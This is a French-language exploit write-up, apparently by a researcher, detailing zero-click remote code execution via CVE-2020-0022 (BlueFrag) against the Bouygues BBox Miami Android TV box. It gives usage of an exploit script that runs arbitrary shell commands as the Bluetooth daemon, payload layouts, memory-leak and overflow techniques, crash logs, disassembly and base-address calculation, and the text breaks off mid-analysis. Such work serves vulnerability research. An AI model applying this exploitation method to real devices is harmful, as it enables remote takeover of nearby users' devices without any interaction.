
Exploitation de la vulnérabilité CVE-2020-0022 sur Bouygues BBox Miami (Android TV 8.0 - ARM32 Cortex A9)
########################################################################################
Exploitation de la vulnérabilité CVE-2020-0022 sur Bouygues BBox Miami Android TV 8.0 - ARM32 Cortex A9 Par Polo35 - 2020/08/24
########################################################################################
"Usage: python polo_exploit.py target_bt_mac [target_adb_ip, shell_command, disable_reboot, verbose]"
########################################################################################
Basé sur les scripts de Jan Ruge CVE-2020-0022 un RCE Bluetooth Zero-Click pour Android 8.0-9.0 – BlueFrag https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/
########################################################################################
INTRODUCTION & CONSEILS
########################################################################################
Le script utilise le module bluetooth python pour obtenir le handle de connexion ACL Vous devez donc installer les bibliothèques bluetooth et pybluez (version 0.22 pour python2 et dernière version pour python3)
sudo apt-get update sudo apt-get install bluetooth bluez libbluetooth-dev sudo pip install pybluez
Vous pouvez passer une commande shell au script en paramètre, qui sera exécutée avec la fonction system par le démon bluetooth Seuls 104 caractères sont disponibles pour la commande shell car la chaîne ROP occupe les 20 premiers octets de la deuxième payload
Exemple : shell_command = "cat /dev/zero | echo 'Target Exploited' > /sdcard/Download/cve-2020-0022-poc"
Le script peut utiliser adb pour vérifier la connexion, inspecter le logcat et redémarrer la cible si nécessaire Pour cela, vous devez passer l'ip cible en paramètre Assurez-vous de connecter la cible avec adb connect et d'ouvrir un shell pour vérifier la connexion avant d'utiliser le script
Les meilleurs résultats sont obtenus en connectant la cible via bluetooth avec un smartphone lorsque le script le dit ;) Cela peut prendre plus de 30 tentatives pour déclencher l'exploit mais il fonctionne parfois du premier coup
########################################################################################
FUITE MÉMOIRE AVEC ARM32
########################################################################################
Le Bouygues BBox Miami est basé sur un processeur ARM 32 bits Cortex A9 La différence avec ARM64 est que la fonction memcpy de libc ne génère pas de underflow, il est donc impossible d'obtenir les mêmes fuites que Jan Ruge Mais la vulnérabilité est présente et exploitable d'une manière différente
En envoyant un paquet l2cap avec une fragmentation de 4 octets, nous pouvons déclencher un memcpy de longueur 0 dans reassemble_and_dispatch Cela permet d'obtenir 4 octets de données non initialisées à la fin de l'echo
En augmentant la longueur du premier paquet (nommé mem_offset par la suite), on peut "parcourir" la mémoire non initialisée Obtenir 32 echoes avec le même mem_offset donne 2 à 8 echoes exploitables Les echoes sont répétés, il n'est donc pas nécessaire d'obtenir plus de 32 echoes pour le même mem_offset Cette méthode remplit également la mémoire avec les paquets, ce qui facilite la reconnaissance des motifs et la recherche des décalages dans les fuites
Le mem_offset est la longueur du paquet l2cap en caractères Ex : mem_offset 184 = paquet l2cap de 184 caractères = paquet l2cap de 368 octets
Exemple de "parcours" de mémoire et de données non initialisées avec répétitions :
176: 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 00000000 01000000 01000000 00000000 00000000 01000000 00000000 00000000 ................................................................ 177: 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 00000000 000000a4 00000024 00000000 00000000 000000a4 00000000 00000000 ...........$...............................$.................... 178: 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 00000000 0000a4ce 000024d2 00000000 00000000 0000a4d5 00000000 00000000 ..........$...............................$..................... 179: 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 00000000 00a4ce80 0024d280 00000000 00000000 00a4d580 00000000 00000000 .........$...............................$...................... 180: 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 00000000 a4ce80a3 24d280a3 00000000 00000000 a4d580a3 00000000 00000000 ........$...............................$....................... 181: 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 00000000 ce80a39c d280a31c 00000000 00000000 d580a39c 00000000 00000000 ................................................................ 182: 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 00000000 80a39cce 80a31cd2 00000000 00000000 80a39cd5 00000000 00000000 ................................................................ 183: 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 00000000 a39cce80 a31cd280 00000000 00000000 a39cd580 00000000 00000000 ................................................................ 184: 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 00000000 9cce80a3 1cd280a3 00000000 00000000 9cd580a3 00000000 00000000 ................................................................ 185: 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 00000000 ce80a300 d280a300 00000000 00000000 d580a300 00000000 00000000 ................................................................ 186: 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 00000000 80a30000 80a30000 00000000 00000000 80a30000 00000000 00000000 ................................................................ 187: 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 00000000 a3000000 a3000000 00000000 00000000 a3000000 00000000 00000000 ................................................................ 188: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 ................................................................
On peut voir aux mem_offset 180 et 184 quelques adresses mémoire en little endian
a4ce80a3 donne l'adresse 0xa380cea4 24d280a3 donne l'adresse 0xa380d224 a4d580a3 donne l'adresse 0xa380d5a4 9cce80a3 donne l'adresse 0xa380ce9c 1cd280a3 donne l'adresse 0xa380d21c 9cd580a3 donne l'adresse 0xa380d59c
Il y a au moins 4 ou 5 mem_offset où il est possible de trouver une adresse mémoire réelle après presque chaque redémarrage Nous verrons plus tard comment les utiliser
########################################################################################
ANALYSE DU PREMIER CRASH
########################################################################################
En envoyant un paquet l2cap avec une fragmentation de 2 octets, nous pouvons déclencher un memcpy de longueur -2 dans reassemble_and_dispatch Cela permet de déborder en dehors du paquet partiel avec 30 octets de données contrôlées provenant du second paquet En raison des 30 octets copiés, il n'est pas nécessaire d'envoyer des paquets plus grands que 32 octets avec les 4 derniers octets nuls
Cette méthode de débordement fait parfois planter le démon bluetooth avec le registre R0 contrôlé dans _Z11list_appendP6list_tPv+65 :
HCI: Found link transmit data buffer queue at 0xab90dbc4 HCI: Found SetDataAdvDataSender function at 0x91875b29 HCI: Found bte_hh_evt function at 0x91818429 HCI: Found bluetooth library base address at 0x917a0000 First payload: 0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xdead0003 0x10: 0xdead0004 | 0x14: 0xdead0005 | 0x18: 0xdead0006 | 0x1c: 0xdead0007 Second payload: 0x00 : 0xab90db14: 0xdead0008 | 0xab90db18: 0xdead0009 | 0xab90db1c: 0xdead000a | 0xab90db20: 0xdead000b 0x10 : 0xab90db24: 0xdead000c | 0xab90db28: 0xdead000d | 0xab90db2c: 0xdead000e | 0xab90db30: 0xdead000f 0x20 : 0xab90db34: 0xdead0010 | 0xab90db38: 0xdead0011 | 0xab90db3c: 0xdead0012 | 0xab90db40: 0xdead0013 0x30 : 0xab90db44: 0xdead0014 | 0xab90db48: 0xdead0015 | 0xab90db4c: 0xdead0016 | 0xab90db50: 0xdead0017 0x40 : 0xab90db54: 0xdead0018 | 0xab90db58: 0xdead0019 | 0xab90db5c: 0xdead001a | 0xab90db60: 0xdead001b 0x50 : 0xab90db64: 0xdead001c | 0xab90db68: 0xdead001d | 0xab90db6c: 0xdead001e | 0xab90db70: 0xdead001f 0x60 : 0xab90db74: 0xdead0020 | 0xab90db78: 0xdead0021 | 0xab90db7c: 0xdead0022 | 0xab90db80: 0xdead0023 0x70 : 0xab90db84: 0xdead0024 | 0xab90db88: 0xdead0025 | 0xab90db8c: 0xdead0026 | 0xab90db90: 0xdead0027 0x80 : 0xab90db94: 0xdead0028 | 0xab90db98: 0xdead0029 | 0xab90db9c: 0xdead002a | 0xab90dba0: 0xdead002b 0x90 : 0xab90dba4: 0xdead002c | 0xab90dba8: 0xdead002d | 0xab90dbac: 0xdead002e | 0xab90dbb0: 0xdead002f 0xa0 : 0xab90dbb4: 0xdead0030 | 0xab90dbb8: 0xdead0031 | 0xab90dbbc: 0xdead0032 | 0xab90dbc0: 0xdead0033 0xb0 : 0xab90dbc4: 0xdead0034 | 0xab90dbc8: 0xdead0035 ADB: Found interesting crash !!! libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0003 in tid 3918 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 3871, tid: 3918, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0003 DEBUG : r0 dead0003 r1 90d13e00 r2 90d13e00 r3 00000000 DEBUG : r4 ab9059f8 r5 90d13e00 r6 00000000 r7 00000000 DEBUG : r8 00000000 r9 904df340 sl 904df338 fp 00000001 DEBUG : ip acf310ec sp 904defd8 lr 918a3131 pc 918c98e2 cpsr a00f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 001298e2 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+65) DEBUG : #01 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #02 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78) DEBUG : #03 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440) DEBUG : #04 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42) DEBUG : #05 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #06 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #07 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #08 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #09 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #10 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Le désassemblage à 001298e2 donne :
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Charge R0 depuis R4+0x10 .text:0x1298E2 LDR R1, [R0] => Charge R1 depuis R0 => Crash si non contrôlé !!! .text:0x1298E4 MOVS R0, #8 => Met 8 dans R0 .text:0x1298E6 BLX R1 => Branchement avec lien et échange vers R1 => Branchement vers R1 contrôlé
La décompilation montre que nous écrasons la mémoire à l'adresse de R4+0x10 qui est l'allocateur dans l'appel "node = list->allocator->alloc(8)" :
signed int list_append(list_t *list_ptr, void *data_ptr) { list_t *list = list_ptr; // r4 ... list_node_t node = (list_node_t)list->allocator->alloc(sizeof(list_node_t)); <= list = r4 / allocator = offset 0x10 / alloc = r1 / 8 = r0 / CRASH !!! ... node->data = data_ptr; // r5 ... }
Le démon a planté sur LDR R1, [R0] avec le registre R0 = dead0003 lors de la tentative de chargement de l'adresse Nous pouvons contrôler R0 avec la première payload + 0xC donc si nous y plaçons une adresse valide, nous pouvons contrôler R1 avec LDR R1, [R0] puis contrôler PC avec BLX R1
########################################################################################
CONTRÔLE DU COMPTEUR DE PROGRAMME PAR DÉBORDEMENT D'ADRESSE FUITÉE
########################################################################################
En utilisant la méthode de débordement avec la première adresse mémoire trouvée au mem_offset 180, nous pouvons déplacer le crash vers un branchement vers un registre R1 contrôlé
HCI: Got ACL connection handle: 0xb
HCI: Getting link transmit data buffer queue pointer...
HCI: Found link transmit data buffer queue at 0xa458dbc4
HCI: Getting bluetooth library function pointers...
HCI: Found SetDataAdvDataSender function at 0x8a4a3b29
HCI: Found bluetooth library base address at 0x8a3ce000
Building the payloads...
First payload:
0x00: 0xdead0000 | 0x04: 0xdead0001 | 0x08: 0xdead0002 | 0x0c: 0xa458dbc4
0x10: 0xdead0003 | 0x14: 0xdead0004 | 0x18: 0xdead0005 | 0x1c: 0xdead0006
Second payload:
0x00 : 0xa458dbc4: 0xdead0007 | 0xa458dbc8: 0xdead0008 | 0xa458dbcc: 0xdead0009 | 0xa458dbd0: 0xdead000a
0x10 : 0xa458dbd4: 0xdead000b | 0xa458dbd8: 0xdead000c | 0xa458dbdc: 0xdead000d | 0xa458dbe0: 0xdead000e
0x20 : 0xa458dbe4: 0xdead000f | 0xa458dbe8: 0xdead0010 | 0xa458dbec: 0xdead0011 | 0xa458dbf0: 0xdead0012
0x30 : 0xa458dbf4: 0xdead0013 | 0xa458dbf8: 0xdead0014 | 0xa458dbfc: 0xdead0015 | 0xa458dc00: 0xdead0016
0x40 : 0xa458dc04: 0xdead0017 | 0xa458dc08: 0xdead0018 | 0xa458dc0c: 0xdead0019 | 0xa458dc10: 0xdead001a
0x50 : 0xa458dc14: 0xdead001b | 0xa458dc18: 0xdead001c | 0xa458dc1c: 0xdead001d | 0xa458dc20: 0xdead001e
0x60 : 0xa458dc24: 0xdead001f | 0xa458dc28: 0xdead0020 | 0xa458dc2c: 0xdead0021 | 0xa458dc30: 0xdead0022
0x70 : 0xa458dc34: 0xdead0023 | 0xa458dc38: 0xdead0024 | 0xa458dc3c: 0xdead0025 | 0xa458dc40: 0xdead0026
0x80 : 0xa458dc44: 0xdead0027 | 0xa458dc48: 0xdead0028 | 0xa458dc4c: 0xdead0029 | 0xa458dc50: 0xdead002a
0x90 : 0xa458dc54: 0xdead002b | 0xa458dc58: 0xdead002c | 0xa458dc5c: 0xdead002d | 0xa458dc60: 0xdead002e
0xa0 : 0xa458dc64: 0xdead002f | 0xa458dc68: 0xdead0030 | 0xa458dc6c: 0xdead0031 | 0xa458dc70: 0xdead0032
0xb0 : 0xa458dc74: 0xdead0033 | 0xa458dc78: 0xdead0034
Prepare to connect to the target via bluetooth with your smartphone
HCI: Spraying second payload at 0xa458dbc4
Connect to the target via bluetooth with your smartphone
HCI: Triggering the exploit with first payload... (1/3)
ADB: Bluetooth deamon crashed (3/20)
ADB: Found interesting crash !!!
07-20 09:28:01.020 20972 21006 F libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0xdead0032 in tid 21006 (bt_workqueue)
07-20 09:28:01.123 21061 21061 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
07-20 09:28:01.123 21061 21061 F DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys'
07-20 09:28:01.123 21061 21061 F DEBUG : Revision: '0'
07-20 09:28:01.123 21061 21061 F DEBUG : ABI: 'arm'
07-20 09:28:01.123 21061 21061 F DEBUG : pid: 20972, tid: 21006, name: bt_workqueue >>> com.android.bluetooth <<<
07-20 09:28:01.123 21061 21061 F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xdead0032
07-20 09:28:01.123 21061 21061 F DEBUG : r0 00000008 r1 dead0033 r2 8970a200 r3 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r4 a4585c38 r5 8970a200 r6 00000000 r7 00000000
07-20 09:28:01.123 21061 21061 F DEBUG : r8 00000000 r9 891fd340 sl 891fd338 fp 00000001
07-20 09:28:01.124 21061 21061 F DEBUG : ip a66aa0ec sp 891fcfd8 lr 8a4f78e9 pc dead0032 cpsr 200f0030
07-20 09:28:01.228 21061 21061 F DEBUG :
07-20 09:28:01.228 21061 21061 F DEBUG : backtrace:
07-20 09:28:01.228 21061 21061 F DEBUG : #00 pc dead0032
07-20 09:28:01.229 21061 21061 F DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70)
07-20 09:28:01.229 21061 21061 F DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36)
07-20 09:28:01.229 21061 21061 F DEBUG : #03 pc 0010298f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22l2c_link_hci_conn_comphtPh+78)
07-20 09:28:01.229 21061 21061 F DEBUG : #04 pc 000e5371 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z22btu_hcif_process_eventhP6BT_HDR+440)
07-20 09:28:01.229 21061 21061 F DEBUG : #05 pc 000e6607 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z17btu_hci_msg_readyP13fixed_queue_tPv+42)
07-20 09:28:01.229 21061 21061 F DEBUG : #06 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46)
07-20 09:28:01.229 21061 21061 F DEBUG : #07 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216)
07-20 09:28:01.229 21061 21061 F DEBUG : #08 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44)
07-20 09:28:01.229 21061 21061 F DEBUG : #09 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136)
07-20 09:28:01.229 21061 21061 F DEBUG : #10 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22)
07-20 09:28:01.229 21061 21061 F DEBUG : #11 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Le même désassemblage à 001298e7 donne :
.text:0x1298E0 loc_1298E0 ; CODE XREF: list_append:loc_1298CA↑j .text:0x1298E0 LDR R0, [R4,#0x10] => Charge R0 depuis R4+0x10 .text:0x1298E2 LDR R1, [R0] => Charge R1 depuis R0 => Crash si non contrôlé .text:0x1298E4 MOVS R0, #8 => Met 8 dans R0 .text:0x1298E6 BLX R1 => Branchement avec lien et échange vers R1 => Branchement vers R1 contrôlé !!! .text:0x1298E8 MOV R1, R0
Le démon a maintenant planté sur BLX R1 avec le registre R1 = dead0033 C'est le motif envoyé dans les paquets fragmentés lors de l'obtention des fuites au mem_offset 184 Ce sera la deuxième payload avec une adresse connue à un décalage de -0xb0 de la première adresse mémoire trouvée au mem_offset 180
Nous pouvons maintenant contrôler le PC de la bibliothèque bluetooth.marvellberlin.so, un second emplacement en mémoire possède les données et nous connaissons l'adresse de ce dernier
Après le signal, les registres contiennent :
########################################################################################
OBTENIR L'ADRESSE DE BASE DE LA BIBLIOTHÈQUE BLUETOOTH
########################################################################################
En utilisant la méthode de fuite au mem_offset 28, nous sommes capables de trouver certaines adresses mémoire :0026 : 00002954 74007400 74006600 58a9292b 74006600 74007400 72002e00 58a9292b 00002954 70007000 74007400 58a9292b 74006600 74007400 74006600 58a9292b : ..)Tt.t.t.f.X.)+t.f.t.t.r...X.)+..)Tp.p.t.t.X.)+t.f.t.t.t.f.X.)+ 0027 : 0029546c 00740066 002e0074 a9292b72 00660000 00700066 00740066 a9292b72 0029546c 00740066 00660066 a9292b72 00660000 00740066 002e0074 a9292b72 : .)Tl.t.f...t.)+r.f...p.f.t.f.)+r.)Tl.t.f.f.f.)+r.f...t.f...t.)+r 0028 : 29546c8f 70006600 74006600 292b728f 66000000 74006600 66006600 292b728f 29546c8f 74006600 2e007400 292b728f 66000000 70006600 74006600 292b728f : )Tl.p.f.t.f.)+r.f...t.f.f.f.)+r.)Tl.t.f...t.)+r.f...p.f.t.f.)+r. 0029 : 00660066 00660000 2b728f01 00000000 00660000 00740074 2b728f01 00660066 00660000 00660066 2b728f01 00000000 00660000 00660000 2b728f01 00740074 : .f.f.f..+r.......f...t.t+r...f.f.f...f.f+r.......f...f..+r...t.t 0030 : 66006600 66000000 728f0100 00000000 66000000 66006600 728f0100 74007400 66006600 66000000 728f0100 00000000 66000000 66000000 728f0100 74007400 : f.f.f...r.......f...f.f.r...t.t.f.f.f...r.......f...f...r...t.t.
Nous pouvons voir les fuites 29546c8f et 292b728f qui donnent les adresses 0x8f6c5429 et 0x8f722b29 en little endian.
En utilisant la méthode de débordement avec ces adresses, le démon plante dans bluetooth.marvellberlin.so avec le dump de crash suivant :
libc : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x10 in tid 4151 (bt_workqueue) DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** DEBUG : Build fingerprint: 'BouyguesTelecom/BouygtelTV/HMB4213H:8.0.0/CALIFORNIE/6.30.13:user/release-keys' DEBUG : Revision: '0' DEBUG : ABI: 'arm' DEBUG : pid: 4107, tid: 4151, name: bt_workqueue >>> com.android.bluetooth <<< DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x10 DEBUG : Cause: null pointer dereference DEBUG : r0 00000008 r1 8c35db29 r2 8b006300 r3 00000020 DEBUG : r4 a6405578 r5 8b006300 r6 00000020 r7 ff183456 DEBUG : r8 a6405560 r9 00000006 sl 00000002 fp 8affef70 DEBUG : ip 00001e7e sp 8affef60 lr 8c3b18e9 pc 8c35db3c cpsr 200f0030 DEBUG : DEBUG : backtrace: DEBUG : #00 pc 000d5b3c /system/vendor/lib/hw/bluetooth.marvellberlin.so (ZN4base8internal7InvokerINS0_9BindStateIMN12_GLOBAL__N_125BleAdvertisingManagerImplEFvhhhhPhNS_8CallbackIFvhELNS0_8CopyModeE1EEEEJNS0_17UnretainedWrapperIS4_EEbEEEFvhhhS5_S9_EE3RunEPNS0_13BindStateBaseEOhSJ_SJ_OS5_OS9+19) DEBUG : #01 pc 001298e7 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z11list_appendP6list_tPv+70) DEBUG : #02 pc 0010312d /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z24l2c_link_check_send_pktsP12t_l2c_linkcbP9t_l2c_ccbP6BT_HDR+36) DEBUG : #03 pc 0010477f /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z16l2c_rcv_acl_dataP6BT_HDR+2190) DEBUG : #04 pc 001290df /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL22internal_dequeue_readyPv+46) DEBUG : #05 pc 0012b535 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL11run_reactorP9reactor_ti+216) DEBUG : #06 pc 0012b431 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_Z13reactor_startP9reactor_t+44) DEBUG : #07 pc 0012c729 /system/vendor/lib/hw/bluetooth.marvellberlin.so (_ZL10run_threadPv+136) DEBUG : #08 pc 00047f17 /system/lib/libc.so (_ZL15__pthread_startPv+22) DEBUG : #09 pc 0001b1dd /system/lib/libc.so (__start_thread+32)
Nous atterrissons dans la section .text de la bibliothèque bluetooth.marvellberlin.so à l'offset 000d5b3c
.text:0x0D5B28 SetDataAdvDataSender ; DATA XREF: .text:0x0D2B82↑o .text:0x0D5B28 .text:0x0D5B28 PUSH.W {R4-R11,LR} .text:0x0D5B2C SUB SP, SP, #0x1C .text:0x0D5B2E LDR R7, =(off_1A2718 - 0xD5B38) .text:0x0D5B30 ADD.W R11, SP, #0x10 .text:0x0D5B34 ADD R7, PC ; off_1A2718 .text:0x0D5B36 LDR R7, [R7] .text:0x0D5B38 LDR R7, [R7] .text:0x0D5B3A STR R7, [SP,#0x1C-4] .text:0x0D5B3C LDRD.W R10, R7, [R0,#8]
Le crash se produit à 0xd5b3c juste après le début d'une fonction, donc l'adresse trouvée est un pointeur vers cette fonction. Cette fonction est SetDataAdvDataSender de la classe BleAdvertisingManagerImpl utilisée comme pointeur dans la fonction SetData du fichier btm_ble_multi_adv.cc
void SetData(uint8_t inst_id, bool is_scan_rsp, std::vector<uint8_t> data, MultiAdvCb cb) override { ... DivideAndSendData(inst_id, data, cb, base::Bind(&BleAdvertisingManagerImpl::SetDataAdvDataSender, base::Unretained(this), is_scan_rsp)); }
Nous avons maintenant l'adresse d'un emplacement fixe dans la bibliothèque bluetooth.marvellberlin.so et pouvons calculer l'adresse de base de cette bibliothèque. Le décalage réel par rapport à l'adresse de base de la bibliothèque est 0XD5B29 à partir du pointeur vers la fonction SetDataAdvDataSender trouvée à mem_offset 28.
Dans l'exemple ci-dessus, nous avons trouvé la fonction SetDataAdvDataSender à 0X8C35DB29 et débordé cette adresse. L'adresse de base de la bibliothèque bluetooth était 0X8C35DB29 - 0XD5B29 = 0X8C288000.
Nous avons également trouvé un pointeur vers 0x8C300429 dans la même fuite à mem_offset 28. Le décalage entre les deux adresses trouvées est 0x8C35DB29 - 0x8C300429 = 0x5D700. Nous savons que SetDataAdvDataSender est à 0xD5B28 dans la bibliothèque bluetooth, nous pouvons donc calculer l'adresse du deuxième pointeur trouvé : 0xD5B28 - 0x5D700 = 0x78428. À 0x78428 dans la bibliothèque bluetooth se trouve la fonction bte_hh_evt qui est utilisée dans les fonctions btif_hh_service_registration et btif_hh_execute_service du fichier btif_hh.cc.
void btif_hh_service_registration(bool enable) { ... BTA_HhEnable(BTA_SEC_ENCRYPT, bte_hh_evt); ... }
bt_status_t btif_hh_execute_service(bool b_enable) { ... BTA_HhEnable(BTUI_HH_SECURITY, bte_hh_evt); ... }
Les 2 adresses trouvées à mem_offset 28 se terminent toujours par 0xB29 pour la fonction SetDataAdvDataSender et 0x429 pour la fonction bte_hh_evt. Avec cette méthode, nous n'avons besoin que d'une seule des 2 adresses connues dans la fuite pour trouver l'adresse de base du bluetooth.
Pour résumer, nous pouvons trouver l'adresse de base de la bibliothèque bluetooth avec :
########################################################################################
ANALYSE DU CRASH AVEC LE CODE SOURCE ANDROID
########################################################################################
Le code source d'Android Oreo 8.1 montre que nous écrasons une partie de l'objet de la file d'attente des tampons de données de transmission de lien p_lcb->link_xmit_data_q.
La fonction l2c_rcv_acl_data crée l'objet tL2C_LCB* p_lcb et le passe à la fonction l2c_link_check_send_pkts qui ajoute le paquet à la file d'attente du tampon link_xmit_data_q.
void l2c_rcv_acl_data(BT_HDR* p_msg) { ... tL2C_LCB* p_lcb; ... /* Find the LCB based on the handle / p_lcb = l2cu_find_lcb_by_handle(handle); ... / Send the data through the channel state machine */ if (rcv_cid == L2CAP_SIGNALLING_CID) { process_l2cap_cmd(p_lcb, p, l2cap_len); ... }
tL2C_LCB* l2cu_find_lcb_by_handle(uint16_t handle) { ... tL2C_LCB* p_lcb = &l2cb.lcb_pool[0];
for (xx = 0; xx < MAX_L2CAP_LINKS; xx++, p_lcb++) { if ((p_lcb->in_use) && (p_lcb->handle == handle)) { return (p_lcb); } } ... }
p_lcb est extrait de l'objet statique l2cb.lcb_pool[0] tel que défini dans l2c_main.cc
// / G L O B A L L 2 C A P D A T A / // tL2C_CB l2cb;
static void process_l2cap_cmd(tL2C_LCB* p_lcb, uint8_t* p, uint16_t pkt_len) { ... case L2CAP_CMD_ECHO_REQ: l2cu_send_peer_echo_rsp(p_lcb, id, p, cmd_len); ... }
void l2cu_send_peer_echo_rsp(tL2C_LCB* p_lcb, uint8_t id, uint8_t* p_data, uint16_t data_len) { ... p_buf = l2cu_build_header(p_lcb, (uint16_t)(L2CAP_ECHO_RSP_LEN + data_len), L2CAP_CMD_ECHO_RSP, id); ... l2c_link_check_send_pkts(p_lcb, NULL, p_buf); }
void l2c_link_check_send_pkts(tL2C_LCB* p_lcb, tL2C_CCB* p_ccb, BT_HDR* p_buf) { ... list_append(p_lcb->link_xmit_data_q, p_buf); ... }
bool list_append(list_t* list, void* data) { ... list_node_t* node = (list_node_t*)list->allocator->alloc(sizeof(list_node_t)); => Call to alloc replaced by our call (Only one parameter !!!) ... }
La définition de link_xmit_data_q dans la structure tL2C_LCB est :
/* Define a link control block. There is one link control block between
La définition de la structure list_t est :
typedef struct list_t { list_node_t* head; | Size 0x4 | Offset 0x0 list_node_t* tail; | Size 0x4 | Offset 0x4 size_t length; | Size 0x4 | Offset 0x8 list_free_cb free_cb; | Size 0x4 | Offset 0xC const allocator_t* allocator; | Size 0x4 | Offset 0x10 } list_t; | Size 0x14
Avec la structure list_node_t :
struct list_node_t {
struct list_node_t* next; | Size 0x4 | Offset 0x0
void* data; | Size 0x4 | Offset 0x4
}; | Size 0x8
Et la structure allocator_t :
typedef struct {
alloc_fn alloc; | Size 0x4 | Offset 0x0
free_fn free; | Size 0x4 | Offset 0x4
} allocator_t; | Size 0x8
typedef struct {
uint16_t event; | Size 0x2 | Offset 0x0
uint16_t len; | Size 0x2 | Offset 0x2
uint16_t offset; | Size 0x2 | Offset 0x4
uint16_t layer_specific; | Size 0x2 | Offset 0x6
uint8_t data[]; | Size 0xx | Offset 0x8
} BT_HDR; | Size 0x8 + data length
Le désassemblage de la fonction l2c_link_check_send_pkts :
